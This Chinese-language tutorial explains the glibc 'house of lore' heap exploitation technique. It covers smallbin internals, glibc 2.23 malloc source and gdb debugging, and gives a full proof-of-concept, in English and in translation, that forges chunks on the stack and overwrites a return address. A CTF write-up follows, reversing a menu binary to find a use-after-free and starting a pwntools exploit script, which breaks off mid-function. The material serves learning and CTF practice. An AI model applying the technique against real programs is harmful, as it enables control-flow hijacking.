• 这个堆利用就需要伪造堆块了,house of lore这个利用方式只对glibc2.23-glibc2.31 之间的这个版本
  • glibc2.31以上的版本house of lore的利用方式基本失效。

前置知识

  • 这里也统一认知,之前介绍了在堆块的物理地址中高地址为前,低地址为后,接下来对堆块的逻辑地址的前后进行一个认知的统一。

  • 通常在释放的堆块如果被bins管理,他们都会将fd指针和bk指针给利用起来,之前一直没搞明白fd指针指向前面还是后面,bk指针指向前面还是后面。

  • fd指针的全称为forward pointerbk指针的全称为backward pointer。在fastbintcachebin中我们使用了fd指针,并且这个时候fd指针都指向的是远离bins堆块的方向。这边就以tcache_bins的图片为例子。

image-20250219120847941

  • 所以这次我们对逻辑地址做一个认知统一。
    • 远离bins的堆块是更前面的堆块,所以fd指针指向的是远离bins的堆块
    • 靠近bins的堆块是更后面的堆块,所以bk指针指向的是靠近bins的堆块

image-20250219121132346

smallbin机制

  • 这里为了能更好的理解house of lore接下来就要了解一下smallbin这个bins的运行机制,这样更有利于我们学习house of lore

  • 之前我们释放的堆块基本上都是被放入fastbintachacbinunsortedbin,这三个bins中,很少有见到释放的堆块被放入smallbin中。所以我们先研究一下怎样才能使得被释放的堆块放入smallbin中。

  • smallbin是一个双向循环链表的结构,并且smallbin是一个长为64的一个数组。在相关宏定义中这个#define NSMALLBINS 64可以知道是64个堆块的数组。

  • malloc.c中的这个结构体定义中struct malloc_state还可以得知 mchunkptr bins[NBINS * 2 - 2];,这个堆块长度为254长度,其中包含了smallbinlargebin

    • 注意:这里会存在一个误区,这边的bins既然是254个元素是否与之前unlink 图片所说的largebins和smallbins的个数不一样
    • 注意:由于smallbins和largebins是一个双向链表结构,而bins数组中的每一个元素相当与一个指针,为了使得bins能够有两个指针,所以对应smallbins[0]它会将bins[0]作为fd指针,bins[1]作为bk指针,利用这种方式构造一个双向头结点
  • 62-63行代码的宏定义in_smallbin_range可以得知,chunk_size<MIN_LARGE_SIZE即在64位系统中小于0x400大小的chunk都会被放入smallbin的堆块里面,在32位系统中小于0x200大小的chunk都会被放入smallbin的堆块里面(在相关代码中的宏定义有做具体介绍)

  • 66-68行代码的宏定义smallbin_index可以得知,每个相邻smallbin存储的空闲堆块size位在64位中相差0x10字节,在32位中相差0x8字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
// 堆块结构
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
// 堆块结构和堆块指针
struct malloc_chunk;
typedef struct malloc_chunk* mchunkptr;
// 两个数组宏定义
#define NBINS 128
#define NSMALLBINS 64

// 这里面有定义着smallbin和largebin的数组
struct malloc_state
{
/* Serialize access. */
mutex_t mutex;

/* Flags (formerly in max_fast). */
int flags;

/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];

/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;

/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;

/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];

/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];

/* Linked list */
struct malloc_state *next;

/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;

/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;

/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
// in_smallbin_range可以看出free的堆块size在什么范围内会被放入smallbin中
#define in_smallbin_range(sz) \
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)

// smallbin_index这个宏定义可以看出每个相邻idx的堆块存储chunk的size大小相差多少
#define smallbin_index(sz) \
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
+ SMALLBIN_CORRECTION)
  • smallbin这个堆块结构也是一个先进先出的堆块结构,(堆块被释放后放入smallbin的过程与fastbin放入机制相同,都是使用头插法),只不过smallbin是双向链表。接下来给出一个smallbin大致的结构图,这样更有利于我们了解(以64位系统为例子),注意smallbinlargebin中是这样的
  • smallbin这个堆块的取出与fastbin堆块取出机制不同,fastbin取出的是最靠近bins的堆块。而smallbin是先取出的是最远离bins的堆块,即如果要使用smallbin的堆块时先取出的是chunk0

image-20250222202232637

  • 被释放的堆块被放入smallbin的条件:

    • 首先被释放的堆块要符合smallbin堆块大小的范围:
    • 接下来分析一下代码得出如下结论:当我们释放一个堆块,这个堆块被放入unsortedbin后,我们之后再申请一个堆块,这个堆块的申请如果既没有使用unsortedbin中的堆块,也没有使用smallbin中的堆块,这样先前被放入unsortedbin中的堆块就会被放入smallbin
    • smallbin中的堆块被切割后,切割后的堆块会先放入unsortedbin中(因为size位改变,现在的chunk中的size并不在当前smallbin范围中),之后我们再使用malloc申请一个堆块,并且申请的堆块没有使得unsortedbin中的堆块被切割,那么在unsortedbin中的堆块就会被放入smallbin中的堆块
  • 接下来我们给出一个示例程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<stdio.h>
#include<malloc.h>
int main(){
int *p1,*p2,*p3,*p4,*p5;
p1 = malloc(0x210); // 申请一个比较大的堆块,这个堆块释放后会先被放入unsoertedbin中
p2 = malloc(0x10); // 再申请一个小堆块,这个堆块防止p1所指向的堆块释放后与top_chunk合并
free(p1); // 释放p1指向的堆块,这样就可以使得该堆块放入unsortedibin
p3 = malloc(0x300); // 之后我们申请一个更大的堆块,使得该堆块不能从放入unsortedbin 中的堆块切割,在malloc过程中既然没有切割,那么在unsortedbin中的堆块就会被放入smallbin
p4 = malloc(0x10); // 申请一个0x10的堆块,这时就会从smallbin中切割一个堆块,并且将切割后的堆块重新放入unsortedbin中
p5 = malloc(0x400); // 再申请一个大堆块,这样unsortedbin中的堆块又会被放入smallbin 中
return 0;
}
// gcc -o test test.c
  • 接下来我们使用gdb动态调试查看一下堆块的运行机制。我们先申请一个p1堆块和p2堆块。

image-20250222122624890

  • 然后将p1堆块释放,该堆块就会被放入unsortedbin

image-20250222122701715

  • 然后我们再申请一个p3堆块,这样p1堆块就会被放入smallbin[idx1]中管理

image-20250222122743374

  • 然后我们再申请一个p4堆块,这样原来的p1堆块就会被切割,并放入unsortebin

image-20250222122835685

  • 之后申请一个p5的堆块,这样p1堆块就会又被放入smallbin[idx2]中管理,其中idx2 < idx1

image-20250222123013521

  • 此外还可以进行这样的动态调试去查看smallbins是的双向链表机制
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<stdio.h>
#include<malloc.h>
int main()
{
int *p1,*p2,*p3,*p4;
p1 = malloc(0x200);
malloc(0x10);
p2 = malloc(0x200);
p3 = malloc(0x10);
free(p1);
free(p2);
p4 = malloc(0x300);
return 0;
}

相关代码

  • 接下来给出glibc2.23中的smallbin的相关源码。
  • 下面是malloc中关于smallbin的代码
_int_malloc相关源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
 if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)
{
if (victim == 0) /* initialization check */
malloc_consolidate (av);
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}



/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/

if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}

set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}




if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}




if (!in_smallbin_range (nb))
{
bin = bin_at (av, idx);

/* skip scan if empty or largest chunk is too small */
if ((victim = first (bin)) != bin &&
(unsigned long) (victim->size) >= (unsigned long) (nb))
{
victim = victim->bk_nextsize;
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb)))
victim = victim->bk_nextsize;

/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last (bin) && victim->size == victim->fd->size)
victim = victim->fd;

remainder_size = size - nb;
unlink (av, victim, bck, fwd);

/* Exhaust */
if (remainder_size < MINSIZE)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
}
/* Split */
else
{
remainder = chunk_at_offset (victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks (av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
  • 下面是_int_free中的smallbin相关操作
_int_free中的源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
     /*
Place the chunk in unsorted chunk list. Chunks are
not placed into regular bins until after they have
been given one chance to be used in malloc.
*/

bck = unsorted_chunks(av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "free(): corrupted unsorted chunks";
goto errout;
}
p->fd = fwd;
p->bk = bck;
if (!in_smallbin_range(size))
{
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
bck->fd = p;
fwd->bk = p;

set_head(p, size | PREV_INUSE);
set_foot(p, size);

check_free_chunk(av, p);
}
相关宏定义
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// min_large_size存储在largebin的最小值,也就是smallbin存储堆块size的最大范围
// NSMALLBINS在下方有宏定义,定义的值为64
// SMALLBIN_WIDTH也是一个宏定义,定义的值为MALLOC_ALIGNMENT,而MALLOC_ALIGNMENT也是一个宏定义其具体值为2 *SIZE_SZ
// 32位系统2 *SIZE_SZ=8字节,64位系统2 *SIZE_SZ=16字节
// SMALLBIN_CORRECTION也是一个宏定义,其值不是1就是0,一般情况下都为0
// 所以在32位系统MIN_LARGE_SIZE = 64 * 8 = 512字节
// 所以在64位系统MIN_LARGE_SIZE = 64 * 16 = 1024字节
#define MALLOC_ALIGNMENT (2 *SIZE_SZ)
#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ)
#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)

#define NBINS 128
#define NSMALLBINS 64

#define SMALLBIN_WIDTH MALLOC_ALIGNMENT
#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ)

// in_smallbin_range可以看出free的堆块size在什么范围内会被放入smallbin中
#define in_smallbin_range(sz) \
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)

// smallbin_index这个宏定义可以看出每个相邻idx的堆块存储chunk的size大小相差多少
// SMALLBIN_WIDTH的值在32位为8,在64位系统为16,如果SMALLBIN_WIDTH为真则返回sz>>4
// 如果SMALLBIN_WIDTH为假则返回 sz >> 3 + SMALLBIN_CORRECTION(这个值一般为0)
// 也就是说在64位系统中相邻index的堆块size相差0x10字节,在32位系统中相邻index的堆块size相差0x8字节
#define smallbin_index(sz) \
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
+ SMALLBIN_CORRECTION)

#define bin_index(sz) \
((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))


#define first(b) ((b)->fd)
#define last(b) ((b)->bk)
  • glibc2.27中添加了一个检查机制
1
if (__glibc_unlikely (bck->fd != victim))

实验

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.

[ ... ]

else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)){

errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}

set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

[ ... ]

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){


intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};

fprintf(stderr, "\nWelcome to the House of Lore\n");
fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
fprintf(stderr, "This is tested against Ubuntu 16.04.6 - 64bit - glibc-2.23\n\n");

fprintf(stderr, "Allocating the victim chunk\n");
intptr_t *victim = malloc(0x100);
fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);

// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;

fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);

fprintf(stderr, "Create a fake chunk on the stack\n");
fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
"in second to the last malloc, which putting stack address on smallbin list\n");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;

fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
"chunk on stack");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
"the small one during the free()\n");
void *p5 = malloc(1000);
fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);


fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free((void*)victim);

fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

void *p2 = malloc(1200);
fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

//------------VULNERABILITY-----------

fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

//------------------------------------

fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

void *p3 = malloc(0x100);


fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
char *p4 = malloc(0x100);
fprintf(stderr, "p4 = malloc(0x100)\n");

fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
stack_buffer_2[2]);

fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
long offset = (long)__builtin_frame_address(0) - (long)p4;
memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

// sanity check
assert((long)__builtin_return_address(0) == (long)jackpot);
}
  • 还是老样子,将源码翻译一遍。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
/*
House of Lore的高级利用 - Malloc Maleficarum.
这个PoC还需要考虑到glibc对smallbin corruption的加固.

[ ... ]

else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)){

errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}

set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

[ ... ]

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){


intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};

fprintf(stderr, "\n欢迎来到 House of Lore\n");
fprintf(stderr, "这是一个重置版本,这个版本也可以绕过glibc malloc中加固检查.\n");
fprintf(stderr, "这段代码在Ubuntu 16.04.6 - 64位 -glibc-2.23中测试.\n\n");

fprintf(stderr, "先分配一个victim chunk\n");
intptr_t *victim = malloc(0x100);
fprintf(stderr, "分配的第一个small chunk的堆地址为 %p\n", victim);

// victim - WORD_SIZE 因为我们需要消除头部size位,为了得到这个堆块的绝对地址
intptr_t *victim_chunk = victim-2;

fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);

fprintf(stderr, "在栈上创建一个fake chunk\n");
fprintf(stderr, "设置fwd指针,fake chunk 的fwd指针指向victim_chunk,这是为了绕过small bin corrupted的检查."
"倒数第二次使用malloc时就会将栈上的地址放入smallbin链表中\n");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;

fprintf(stderr, "设置fake chunk的bk指针指向stack_buffer_2并且设置stack_chunk_2的fwd指针指向stack_buffer_1 "
"这样做的目的是绕过最后一次malloc中small bin corruped的检查,这个检查会返回指针到fake_chunk上,这个操作就会返回指向栈上的fake_chunk的指针“);
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

fprintf(stderr, "分配另一个large chunk 为了避免在free()函数调用期间top_chunk和small chunk合并\n");
void *p5 = malloc(1000);
fprintf(stderr, "分配的large chunk的堆地址为 %p\n", p5);


fprintf(stderr, "释放堆地址为: %p 的堆块, 这个堆块将被插入到unsorted bin链表中\n", victim);
free((void*)victim);

fprintf(stderr, "\n在unsorted bin中victim_chunk的fwd和bk指针指向的都是unsorted bin 的头部地址(libc的地址)\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

fprintf(stderr, "现在使用malloc申请一个堆块,此时申请的堆块不能从unsortedBIn和small bin中申请出来\n");
fprintf(stderr, "这意味着This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

void *p2 = malloc(1200);
fprintf(stderr, "这个堆块即不能被unsorted bin处理也不能是从Smallbin中分配出来.刚申请的堆块地址为: %p\n", p2);

fprintf(stderr, "victim chunk 已经被分类并且他的fwd和bk指针被更新\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

//------------VULNERABILITY-----------

fprintf(stderr, "现在模仿一个能覆盖victim->bk这个指针的漏洞.\n");

victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

//------------------------------------

fprintf(stderr, "现在分配一个chunk,这个chunk的size与我们第一次申请的堆块的size大小要一致.\n");
fprintf(stderr, "这时malloc返回的堆地址就是我们覆盖的victim这个chunk,并且在申请的时候还会设置bin->bk为我们写入的victim->bk的指针.\n");

void *p3 = malloc(0x100);


fprintf(stderr, "最后一次malloc申请应该欺骗glibc的malloc函数,使得其返回一个我们注入的bin->bk指针所指向的堆块.\n");
char *p4 = malloc(0x100);
fprintf(stderr, "p4 = malloc(0x100)\n");

fprintf(stderr, "\n在最后一次使用malloc申请堆块后,stack_buffer_2的fwd指针已经被改变,它的值现在为: %p\n",
stack_buffer_2[2]);

fprintf(stderr, "\np4指针的值为: %p 并且 p4这个指针应该是指向栈上的位置!\n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
long offset = (long)__builtin_frame_address(0) - (long)p4;
memcpy((p4+offset+8), &sc, 8); // 这行代码是绕过stack-smash检查因为他跳过了Canary保护

// sanity check
assert((long)__builtin_return_address(0) == (long)jackpot);
}
  • 接下来进行一下动态调试,我们先申请一个大小为0x100的堆块,这个堆块实际的size位大小为0x110

image-20250222190425316

image-20250222191017615

  • 并且我们在栈上分别申请了0x18大小和0x20大小的内存空间

image-20250222190639359

image-20250222190912519

  • 接下来我们就会利用栈上的内存空间去伪造一个fake_chunk,在伪造这个fake_chunk的时候我们需要我们前面申请的victim堆地址(victim的prev_size的地址即堆块的起始地址),将fake_chunkfd指针指向victim的起始地址。这样是为了绕过small bin corrupted的检查的检查。

image-20250222191641689

image-20250222191752886

  • 之后我们修改stack_buffer_1[3]=stack_buffer_2stack_buffer_2[2]=stack_buffer_1,这样做的目的是为了绕过最后一次malloc中small bin corruped的检查。这样伪造后,伪造的堆块就会构成一个双向链表。

image-20250222192407559

image-20250222192309272

image-20250222192535164

  • 之后我们申请一个1000大小的堆块,这样就使得我们之后将victim释放后不会与topchunk合并,并且victim这个堆块就会被放入unsortedbin中管理
  • 并且由于unsortedbin也是一个双向链表,所以victim->fdvictim->bk指向的是unsortedbin这个堆块地址

image-20250222192757672

image-20250222192957001

  • 之后我们再申请一个更大的堆块,使得申请的堆块不是由unsortedbinsmallbins中的堆块切割下来的。在使用malloc过程中就会使得原来在unsortedbin链表中的victim堆块,被放入smallbins

image-20250222193521341

  • 之后我们再通过UAF漏洞修改victimbk指针,这时我们smallbin堆块的链表结构就如下图

image-20250222195247397

image-20250222203111670

  • 这个时候我们再申请一个与之前申请victim大小的堆块,就会将smallbin中的堆块给申请回来,这样就会使得fake_chunk被链到smallbin
  • 这时就会触发smallbin->bk = victim->bk=stack_buffer1_addr

image-20250222195535950

image-20250303174445321

  • 这时我们再申请一个0x100大小的堆块,由于smallbin中的堆块是先进先出,主要取出的是bins->bk所指堆块,所以我们就将stack_buffer1处的这个堆块给申请过来了。

image-20250222210844748

image-20250222210904519

  • 这时我们就申请到栈上的数据了,并且我们可以将jackpot的地址写入到栈上了,这时我们就覆盖这个函数的地址为返回地址

image-20250222211156756

image-20250222211214582

利用方式

  • 现在就给这个house of lore的利用方式做一个总结。首先house of lore这个堆块的利用方式是针对的是smallbin
  • 漏洞利用的条件:
    • 需要UAF漏洞,这样才能对smallbin中堆块的bk指针进行修改(如果没有UAF漏洞可以尝试使用off-by-null漏洞尝试使用堆风水,去构造UAF漏洞)
    • 还需要知道堆地址,这样我们在伪造fake_chunk的时候才能向fake_chunk->fd指针这个位置写入chunk_adddr从而绕过检查
    • 可能还需要栈地址或者是其他段地址,这样我们在申请任意堆块内存的时候就可以绕过检查
  • 接下来归纳一下我们需要伪造的堆块的数据有哪些:
    • 对于放入smallbin中的堆块victim,我们需要修改其bk指针,修改bk指针为fake_chunk1_addr
    • 对于我们要申请的目标地址fake_chunk1,我们要伪造其fd指针,使得其fd指针指向victim,使得bk指针指向fake_chunk2
    • 对于我们要借助绕过申请目标地址的辅助chunkfake_chunk2,我们要修改其fd指针为fake_chunk1

image-20250222212206861

house-of-lore_level1

  • 接下尝试写一题,题目来源:ctfhub-house-of-lore

level_1分析1

  • 拿到附件后我们就先check一下附件,看看附件开启了什么保护机制。发现没有开PIE

image-20250303161633967

  • 然后我们再逆向该程序,使用IDA pro,先来查看一下main函数的运行逻辑。main函数的大致逻辑如下:
    • 先对输入输出进行初始化
    • 然后再初始化一个name_message
    • 之后就会进入一个menu的循环之中,这个时候程序会让用户read_int即输入一个选项,这里我们就来归纳一下对应选项的菜单,这里的menu函数就不进去查看了。
      • 选项1:add操作
      • 选项2:edit操作
      • 选项3:dele操作
      • 选项4:change name操作
      • 选项5:change message操作,注意在程序只能调用一次change message,调用完之后再调用就不会调用change message函数了
      • 选项6:exit
      • 选项其他:Invalid choice

image-20250303161757140

  • 以上就是main函数的执行流程,然后我们现在先来查看一下init_message这个函数的功能
    • 首先会让用户输入namename也是一个全局变量
    • 之后会申请一个堆块保存给全局变量message,申请堆块后会让用户向这个堆块中输入内容

image-20250303163342648

  • 接下来我们继续安装增删改查的顺序查看每个函数的功能
    • 先查看的是add函数,这里出现了一个名为page_list的全局变量,这个全局变量是一个指针数组,存储的是地址,数组里面有7个元素
    • 如果page_list满了就会输出Full并且结束该函数
    • 如果没满,就会提示用户输入size,这个size就是之后我们要申请的堆块的大小
    • 申请完之后,malloc返回的指针就赋值给对应page_list的地方
    • 之后又出现了一个名为size_list的全局变量,这个全局变量是一个int类型的数组,这个数组存储的是我们所申请的size的值

image-20250303162252136

  • 之后来查看dele函数,该函数的程序运行逻辑如下:
    • 用户首先要选择需要释放的堆块,之后程序会检查这个索引是否合理
    • 之后释放这个堆块,然后同时将相应的page_listsize_list置零。

image-20250303162743948

  • 然后查看edit函数,函数逻辑如下:
    • 首先要求用户输入要edit堆块的index
    • 然后就使用read向堆块中输入内容,指定输入长度为size_list

image-20250303162932389

  • 然后查看change_name()函数,函数的主要逻辑如下,就是重新向name写入东西

image-20250303163553032

  • 再查看change_message()这个函数,函数的具体逻辑如下:
    • 首先泄露出这个message的堆地址,然后会释放message所指向的堆块
    • 然后再让用户输入之后要申请的堆块大小
    • 申请堆块,malloc的返回值将赋值给buf
    • 之后就是向buf写入内容,长度不能超过我们所申请的。
    • 之后还会修改message所指向的堆块注意这里就存在着UAF漏洞
    • 修改message所指向堆块后就会更新message

image-20250303163754402

  • 逆向该程序的逻辑后,我们找到了漏洞利用的主要地方,这个地方就是在change_message()这个函数中,我们可以利用这个函数进行UAF漏洞
  • 我们现在也对全局变量进行一个归纳和汇总:
    • name:存储着用户输入的数据,相当于字符数组,长度为0x40大小。
    • message:是一个指针,指向malloc返回的堆块地址
    • page_list:是一个指针数组,指向malloc返回的堆块地址,一共有7个元素
    • size_list:是一个int类型的数组,存储着page_list对应索引申请的堆块大小

level_1分析2

  • 接下来我们边写脚本,边进行动态调试。根据程序运行逻辑我们编写了如下代码进行交互。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context.log_level='debug'
context.terminal = ["tmux", "neww"]
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process("./pwn")
#gdb.attach(p)
#gdb.attach(p)
def add(size):
p.sendline(b'1')
p.sendafter(b'size:\n',str(size).encode('utf-8'))

def dele(idx):
p.sendline(b'3')
p.send(str(idx).encode('utf-8'))

def edit(idx,context):
